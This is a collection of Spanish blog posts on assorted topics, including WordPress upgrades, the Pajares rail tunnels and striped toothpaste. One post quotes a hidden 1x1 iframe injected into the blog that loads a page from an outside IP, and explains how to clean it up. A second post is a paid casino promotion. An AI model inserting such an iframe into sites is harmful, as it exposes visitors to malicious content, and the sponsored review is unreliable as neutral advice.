Voy a estar haciendo cambios al theme durante unos días. UN saludo.

Por más que lo veo no acabo de deducir su funcionamiento.

Más fotos y algún vídeo aquí.

Vista en microsievos.

Esto fue lo que hice: pedí a stopbadware.org que me enviaran dónde estaba el supuesto virus y me enviaron esto:

<!– Traffic Statistics –>
<iframe
src=http://61.155.8.157/iframe/wp-stats.
php width=1 height=1
frameborder=0></iframe> <!–
End Traffic Statistics –>

Tras enviarme esto pude deducir que se trataba de algo relacionado con el wp-stats (plugin de estadísticas) pero no sabía muy bien. Se lo pasé a un amigo y Carlos me dijo que se trataba de un virus que había para blogs.

Este virus se cuela a través de un bug en el plugin wp-stats y envia publicidad desde explorer no mozilla.

¿Cómo eliminarlo?

Accede desde ftp a la carpeta wp-content y verás que hay una nueva carpeta llamada 1, dentro de esa carpeta verás cosas como juegagratis.html o casinogratis.html, eso es la publicidad que mete.

• Elimina la carpeta 1 entera.
• Elimina el plugin wp-stats.
• Cambia tu contraseña del blog.
• Esta publicidad se mete en algún post pero, ¿cómo saber en qué post?. Vete a la pestaña Administrar de wordpress y en el buscador de post pon cosas como: iframe, wp-stats o así. Te aparecerá el o los post infectados (en mi caso 1), entonces elimina esa parte del html del post.
• ¡¡¡¡Listo!!! habrás perdido más de 3/4 de las visitas, pero bueno…

Un saludo

Este es un artículo patrocinado sobre Casinoen-linea.

Esta web es un buen ejemplo de una web de apuestas y de juego on-line. No es simplemente otra web más de casinos, lo que este Casino Online pretende y le hace único es guiar desde los primeros pasos como jugador iniciado hasta hacer de el un jugar habil con más posiblidades de ganar en los casinos on line seleccionados por ellos.

Eso no son todas las ventajas de este Casino Online, porque… imagínese si usted supiera todas las reglas y fuera experto pero los premios que ganar no fueran elevados…

Por eso este casino en linea reune y lista los casinos más cotizados y con mayores premios con bonificaciones y jackpots para ser descargados gratis.

Esta web, en mi opinión y a diferencia de otras webs de Casinos como la señalada, tiene una presentación web muy buena, con mucho orden y claridad, es muy facil encontrar cualquier juego o apuesta sin necesidad de saltar por mil páginas hasta llegar. Posiblemente le falle un poco la cantidad de publicidad que tenga a la web, aproximadamente unos 6 o 7 banners publicitarios.

En la web se puede elegir entre una imensidad de juegos de azar tan famosos como el JUEGO de los dados, JUGAR al poquer, el JUEGO del blackjack, la ruleta de la suerte, o JUGAR al bingo…

Si ustedes son amantes del juego online, accedan a esta web y encuentren su juego preferido, les recomiendo esta web excepto si odian la publicidad…

Un saludo

He instalado esta versión para intentar solucionar mi problema con el badware.

Para los que tengan un blog y aun no hayan actualizado aquí les dejo unas instrucciones claras y fáciles:

Antes de empezar realiza un backup de la base de datos y de los archivos. También es convenientes que desactives todos los plugins antes de la actualización y luego los actives uno a  uno por si falla alguno.

1. Borrar el directorio “/wp-admin/”.
2. Borrar el directorio “/wp-includes/”. Si se utiliza alguna traducción entonces borrar todo su contenido excepto el subdirectorio “/wp-includes/languages/”.
3. Borrar todos los ficheros del directorio donde está instalado WP, excepto “wp-config.php” y index.php ni cualquier otro que se haya añadido tras la instalación: robots.txt, .htaccess, favicon.ico, etc.
4. Descargar y descomprimir la nueva release.
5. Subir al servidor los nuevos directorios “/wp-admin/” y “/wp-includes/”.
6. Subir los ficheros del directorio raíz, menos “wp-config-sample.php” e “index.php”.
7. Entrar al panel de administración, pinchando previamente en los enlaces que digan “upgrade” y “continue”.
8. Por seguridad borrar los ficheros “/wp-admin/upgrade.php” y “/wp-admin/install.php”.

Voy a realizar algún cambio, disculpar las molestias.

Un saludo, si tenéis dudas, comentar.

HE DE DAR LAS GRACIAS A CRISTIAN BENITEZ QUE HA SIDO QUIÉN ME HA PROPORCIONADO AL INFORMACIÓN DE ESTE PROYECTO. MUCHISIMAS GRACIAS

Desde hace años el gobierno de España quería unir Asturias, las grandes capitales de Castilla y León y Madrid. Para ello tenían que salvar el gran Macizo del puerto de Pajares que separa Asturias de Castilla, esta es la razón por la que esta es la actuación de mayor complejidad técnica que jamas se ha realizado en la alta velocidad española, así como el mayor desembolso en unos túneles y viaductos en la historia de nuestro pais (1379 millones de euros)(1.379.000.000 E)(1.379.000.000.000 Ecent)

[Pulsa para ver a tamaño muy grande el esquema del proyecto]

Pinche este enlace paar ver la localización geográfica del tunel.

El eje central de este proyecto y de la misma linea de AVE son los 2 túneles de 25 kilómetros de longitud cada uno. Para su construcción 5 tuneladoras procedentes
de Francia y Alemania moverán más de 5 millones de m3 de tierra. El diámetro de las 2 galerías de los túneles es de 8.5 metros y estarán unidas cada 400 metros, lo que facilitará las tareas de mantenimiento y evacuación en caso de emergencia.

El tunel está dividido en 4 lotes, licitado por varias empresas cada uno:

LOTE 1: Las empresas que lo ejecutarán son FCC y Necso. Este trazado mide 10.700 metros y comprende la ejecución de los dos tubos (10.405 metros) de los túneles entre La Pola de Gordón, donde se ubica el emboquille o inicio Sur de los túneles y la pedanía de Folledo.

A nivel constructivo se van a emplear dos métodos distintos. Los primeros 7,9 kilómetros desde La Pola de Gordón se ejecutarán con dos tuneladoras y los 2,5 restantes se realizarán por métodos convencionales. Además de los dos tubos, se ejecutará una galería de acceso de dos kilómetros desde la superficie cuyo emboquille se encuentra entre las localidades de Buiza y Folledo. En la unión de dicha galería con los dos tubos se ejecutará una caverna, espacio reservado para el desmontaje de las dos tuneladoras que llegarán hasta ese punto excavando la roca desde el emboquille de La Pola de Gordón.

LOTE 2: entre Folledo y Viadangos, ha sido adjudicado a ACS-Dragados-Obras Subterráneas. Es el tramo central de los túneles y su longitud es de 3.867 metros.

Para acceder a la cota del túnel (profundidad a la que discurre el trazado) se va a ejecutar una galería de acceso que partirá de Buiza hasta entroncar con los túneles principales. Esta galería medirá 5,5 kilómetros y se va a excavar con la misma tuneladora que hará los tubos principales. Dado que sólo habrá una tuneladora para la excavación de los dos tubos, para la ejecución del segundo será necesario desmontar la máquina y volverla a montar dentro del túnel.

Este lote también incluye la construcción de una caverna en el entronque de la galería de acceso con los tubos principales (donde se realizará el montaje de la máquina para la excavación del segundo tubo), un punto de parada preferente (lugar en el que en caso de incidente los pasajeros pueden ser evacuados con total garantía) y dos puestos de banalización por los que los trenes podrán cruzar de un túnel a otro si fuera necesario.

LOTE 3: comprende el túnel Este entre Viadangos (León) y Telledo (Asturias). Las obras las realiza la UTE Pajares 3 en la que participan Ferrovial, Sacyr y Cavosa.

En Viadangos tiene lugar el entronque con el túnel ejecutado por el Lote 2 y en Telledo está el emboquille Norte en el lado de Asturias. La longitud es de 10.403 metros, de los que 10.326 son de túnel. Los primeros 40 metros desde el emboquille se realizarán por métodos convencionales y el resto hasta el calado con el tramo final de túnel del Lote 2 en Viadangos, con tuneladora.

LOTE4: comprende el túnel Oeste que une Viadangos con Telledo y es responsabilidad de la UTE Pajares 4: Copcisa, Hispánica Constructores, Brues y Fernández Construcciones y Azvi.

Los puntos de inicio y final de los trabajos son los mismos que los del Lote 3. La longitud es de 10.400 metros, de los que 10.309 son de túnel. Los primeros 897 metros se realizarán por métodos convencionales desde el emboquille y el resto hasta el calado con el tramo final de túnel de Lote 2 en Viadangos, con tuneladora. En este lote se ejecutarán las galerías de conexión con el tubo Este.

Coste del Lote 1: 524.157.054 €

La Pola de Gordón-Folledo (10.700m.).

Coste del Lote 2: 401.018.594 €

Folledo-Viadangos (3.867 m.).

Coste de los Lotes 3 y 4: 453.857.182 €

Viadangos-Telledo (Túnel Este, 10.403 m. y el Oeste 10.400 m.).

En estos momentos, el estado de las obras es de aproximadamente el 80%-90%. El lote 1 y 2 es decir, la parte de León fueron finalizados hace aproximadamente 1 año. Pero para agilizar las obras, las tuneladoras del lado aragonés siguen avanzando hacia el norte.

Aunque el lado asturiano va un poco retrasado preveen pasar a una zona de roca blanda dentro de poco y las obras acabarían a final de año, un año antes de lo previsto.

[Emboquillaje en la localidad asturiana de Telledo]

PANORÁMICAS DE LA OBRA.

FOTOS DE LA COLOCACIÓN DE LA PRIMERA PIEDRA:

UN SALUDO, HÉCTOR MATA

ESTE ARTÍCULO ESTÁ BAJO UNA LICENCIA CREATIVE COMMONS: BY-NS

(PUEDE DISTRIBUIR LA OBRA, CITANDO LA FUENTE Y HOSPEDANDO LAS IMÁGENES EN SU HOST)

Hola a todos, si habéis entrado desde google, habréis notado que os sale o bien la imagen de arriba (firefox 3) o Este sitio puede dañar tu equipo. (firefox 2).

TENGO QUE DECIR QUE ESTO ES UN COMPLETO ERROR, NUNCA PONDRÉ NI NUNCA HE PUESTO ESTE TIPO DE COSAS. POR TANTO ES 100% SEGURO ENTRAR A WOTEVAR.

En principio pensé que podría ser la publicidad pero… ¿cómo va a tener viruas la publicidad de la misma empresa que me dice esto (google).

He accedido a google webmaster tools y al pedir una revisión, las páginas que supuetamente están ‘infectadas’ son todas las del feed. Por tanto he quitado la publicidad de adsense del feed y le he retocado algunas cosas y he pedido una nueva revisión.

Si a alguien le ha ocurrido algo similar, por favor comuníquenmelo.

Un saludo y disculpas.

Lo último en pantalones son estos jeans con un teclado y un ratón incrustados. Os dejo algunas fotos.

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¿Alguna vez te has preguntado cómo se forman las líneas de colores del dentífrico tan perfectas al salir del tubo? Alguna gente hasta deja de comprar esta pasta de dientes con rayas solamente porque viven atormentadas de no conocer el secreto. Pero claro, la respuesta es más sencilla de lo que parece…

No se trata de dos compartimentos separados. El tubo se llena de la pasta de dientes, que normalmente es blanca, hasta un cierto nivel. Llegados a ese nivel, el tubo posee un mecanismo que forma las rayas, que suelen ser rojas, azules o verdes. Ambos materiales son bastante viscosos para que no se mezclen.

Ahora el truco está en dejar esas dos sustancias separadas, pero que salgan al mismo tiempo. La boca del dentífrico, no es solamente un agujero en su parte final; por el contrario, consta de un compartimento que circunda todo el tubo en el último centímetro superior del mismo.

El compartimento consta de unos agujeritos en la parte de la boca del tubo, casi a la salida, con tantos agujeros como líneas queramos que haya en la pasta de dientes. Al presionar el tubo, hacemos que la pasta blanca entre en ese compartimento exterior y salga por los agujeritos, pero esta vez ya coloreada.

Puedes desarreglar el sistema que forma las rayas si presionas el tubo en la parte de la boca de salida, ya que fuerzas al mecanismo que tinta, a ir a través del compartimento principal. De la misma forma, puedes masajear el tubo para que se mezclen las dos sustancias. Y si alguna vez las rayas dejan de formarse en la pasta, sumerge el tubo dentífrico en agua caliente para “reanimar” el colorante.

¿POR QUÉ SE INVENTÓ?

La patente del método de producir las rayas en tubos de dentífrico, fue comprada por Lever, por aquel entonces llamada Unilever, a un inventor de Nueva York en 1958, Leonard Lawrence Marraffino, que lo había inventado con el propósito de asemejarlo a un palo de caramelo. Los números de las patentes fueron el 2.789.731 en Estados Unidos y el 813.514 en Reino Unido.

En 1960, la pasta de dientes con rayas se introdujo en el mercado americano. Unos años más tarde, en 1965, se introdujo como la marca “Signal” en Reino Unido y posteriormente en Europa. La pasta de dientes a rayas lideraba el 8% del mercado en su segundo año a la venta, y desde entonces fue decayendo.

Empezaron a haber problemas técnicos, y en 1961, uno de cada tres tubos dentífricos no producía bien las rayas de colores. Lever empezó a estar por detrás de sus competidores, Procter, Colgate e incluso Beechams, que acababa de sacar la línea Macleans, símbolo de blancura.

Algunos diseños de la boca del dentífrico que estaban preparados para producir diferentes clases de lineas con diferentes colores, causaron una gran disputa entre marcas registradas a finales de los 90. Colgate Palmolive, en su patente estadounidense 4.969.767, creo un sistema para combinar dos clases diferentes de líneas de color.

Aunque las rayas están por un efecto óptico, contienen diferentes componentes. Por ejemplo, el tubo principal contiene la base, la línea roja añade flúor, y la otra línea le otorga el fresco aroma a menta. Aun así, no es necesario que los componentes tengan que estar separados.

Un saludo